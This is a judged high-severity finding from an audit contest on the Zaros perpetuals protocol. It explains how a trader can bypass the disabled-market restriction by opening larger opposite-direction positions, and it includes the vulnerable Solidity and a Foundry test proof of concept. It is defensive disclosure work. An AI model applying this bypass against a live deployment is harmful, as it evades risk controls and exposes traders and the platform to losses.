Zaros Part 1
Zaros
DeFiFoundry
60,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Unexpected Increase in Open Positions After Market Closure

kildren

Relevant GitHub Links

https://github.com/Cyfrin/2024-07-zaros/blob/d687fe96bb7ace8652778797052a38763fbcbb1b/src/perpetuals/branches/OrderBranch.sol#L271-L275
https://github.com/Cyfrin/2024-07-zaros/blob/d687fe96bb7ace8652778797052a38763fbcbb1b/src/perpetuals/branches/SettlementBranch.sol#L376-L380

Summary

Zaros intends to prevent traders from increasing their positions when the relevant market or Settlement is disabled, allowing only position closures to gradually reduce the market's total open interest to zero. However, the system fails to account for the possibility of increasing reverse positions during closure, enabling users to exploit this oversight. By maintaining a minimal position in one direction, users can open arbitrary positions in the opposite direction after market closure and then revert to their original direction, effectively circumventing the system's trading control mechanisms.

Vulnerability Details

In both createMarketOrder() and _fillOrder() functions, Zaros checks if an order is opening or increasing an existing position using Position.isIncreasing(). When true, the trader increases the market's total open interest. When the market or Settlement is disabled, the system aims to prevent position increases, expecting the market's open interest to eventually reach zero. However, when a trader opens a position in the opposite direction, it bypasses these checks, allowing continued trading.

// determine whether position is being increased or not
@> ctx.isIncreasing = Position.isIncreasing(tradingAccountId, marketId, sizeDeltaX18.intoInt256().toInt128());
​
// both markets and settlement can be disabled, however when this happens we want to:
// 1) allow open positions not subject to liquidation to decrease their size or close
// 2) prevent new positions from being opened & existing positions being increased
//
// the idea is to prevent a state where traders have open positions but are unable
// to reduce size or close even though they can still be liquidated; such a state
// would severly disadvantage traders
@> if (ctx.isIncreasing) {
// both checks revert if disabled
globalConfiguration.checkMarketIsEnabled(marketId);
settlementConfiguration.checkIsSettlementEnabled();
}

POC

The key steps are:

  1. Trader opens a long position of 1e19 when the market is enabled.

  2. Market is disabled.

  3. Trader opens a short position of -3e19 after market disablement.

  4. The transaction is approved, increasing the market's total open interest.

  5. Trader can then open another long position of 5e19.

Place the following test into createMarketOrder.t.sol::CreateMarketOrder_Integration_Test:

// Forge dependencies
import { console } from "forge-std/console.sol";
import { stdMath } from "forge-std/StdMath.sol";
​
using stdMath for int256;
​
function test_WhenThePositionIsBeingDecreasedOrClosedButTooMuch()
external
givenTheAccountIdExists
givenTheSenderIsAuthorized
whenTheSizeDeltaIsNotZero
givenThePerpMarketIsDisabled
{
// give naruto some tokens
uint256 marginValueUsdc = 100_000e6;
int128 userPositionSizeDelta = 10e18;
deal({ token: address(usdc), to: users.naruto.account, give: marginValueUsdc });
// naruto creates a trading account and deposits their tokens as collateral
changePrank({ msgSender: users.naruto.account });
uint128 tradingAccountId = createAccountAndDeposit(marginValueUsdc, address(usdc));
// naruto opens first position in BTC market
openManualPosition(
BTC_USD_MARKET_ID, BTC_USD_STREAM_ID, MOCK_BTC_USD_PRICE, tradingAccountId, userPositionSizeDelta
);
Position.Data memory position_before_close = perpsEngine.exposed_Position_load(tradingAccountId, BTC_USD_MARKET_ID);
int position_size_before_close = position_before_close.size;
// naruto will have 1e19 positions
console.log("position_size_before_close: ", position_size_before_close);
​
// protocol operator disables settlement for the BTC market
changePrank({ msgSender: users.owner.account });
SettlementConfiguration.DataStreamsStrategy memory marketOrderConfigurationData = SettlementConfiguration
.DataStreamsStrategy({ chainlinkVerifier: IVerifierProxy(mockChainlinkVerifier), streamId: BTC_USD_STREAM_ID });
​
SettlementConfiguration.Data memory marketOrderConfiguration = SettlementConfiguration.Data({
strategy: SettlementConfiguration.Strategy.DATA_STREAMS_DEFAULT,
isEnabled: false,
fee: DEFAULT_SETTLEMENT_FEE,
keeper: marketOrderKeepers[BTC_USD_MARKET_ID],
data: abi.encode(marketOrderConfigurationData)
});
perpsEngine.updateSettlementConfiguration(
BTC_USD_MARKET_ID, SettlementConfiguration.MARKET_ORDER_CONFIGURATION_ID, marketOrderConfiguration
);
// naruto attempts to close their position
changePrank({ msgSender: users.naruto.account });
​
// naruto opens a larger position in the opposite direction
openManualPosition(
BTC_USD_MARKET_ID, BTC_USD_STREAM_ID, MOCK_BTC_USD_PRICE, tradingAccountId, -userPositionSizeDelta * 3
);
​
Position.Data memory position_after_close = perpsEngine.exposed_Position_load(tradingAccountId, BTC_USD_MARKET_ID);
int position_size_after_close = position_after_close.size;
// naruto's position will be - 2e19
console.log("position_size_after_close: ", position_size_after_close);
​
// naruto can hold more positions after the market closes
assert(position_size_after_close.abs() > position_size_before_close.abs());
​
// naruto can open Opposing positions again
openManualPosition(
BTC_USD_MARKET_ID, BTC_USD_STREAM_ID, MOCK_BTC_USD_PRICE, tradingAccountId, userPositionSizeDelta * 5
);
​
Position.Data memory position_after_close_again = perpsEngine.exposed_Position_load(tradingAccountId, BTC_USD_MARKET_ID);
int position_size_after_close_again = position_after_close_again.size;
// naruto's position will be 3e19
console.log("position_size_after_close_again: ", position_size_after_close_again);
​
// Naruto can hold more positions after the market closes
assert(position_size_after_close_again.abs() > position_size_after_close.abs());
}

Impact

  1. Heightened Risk During Market Volatility: Considering that markets are often closed due to extreme volatility and high risk, this vulnerability becomes particularly dangerous. It allows users to increase their exposure precisely when the market is most unstable, potentially leading to:
    a) Severe financial losses for traders who may not fully understand the risks.
    b) Increased platform risk as larger positions are opened during highly volatile periods.
    c) Amplified systemic risk as the platform's exposure to volatile assets increases when it should be decreasing.

  2. Low-Cost Exploitation: The cost of exploiting this vulnerability is remarkably low. Users need only create multiple accounts and maintain minimal positions in both directions of the market. This low barrier to exploitation increases the likelihood and frequency of its occurrence, potentially leading to:
    a) Widespread abuse of the system by multiple users.
    b) Difficulty in detecting and preventing exploitative behavior due to its low-cost nature.
    c) Increased strain on the platform's risk management systems as they attempt to handle numerous small positions that can quickly become large exposures.

Tools Used

Manual Review.

Recommendations

Ensure Users Can Only Close Positions Without Increasing Exposure in the Opposite Direction:

  • Modify the createMarketOrder() and _fillOrder() functions to strictly limit trading activities when the market or Settlement is disabled.

  • Implement a checking mechanism to ensure that when a user attempts to open a position in the opposite direction, the size of the new position does not exceed the absolute value of the existing position.

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Disable market limitation can be bypassed

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.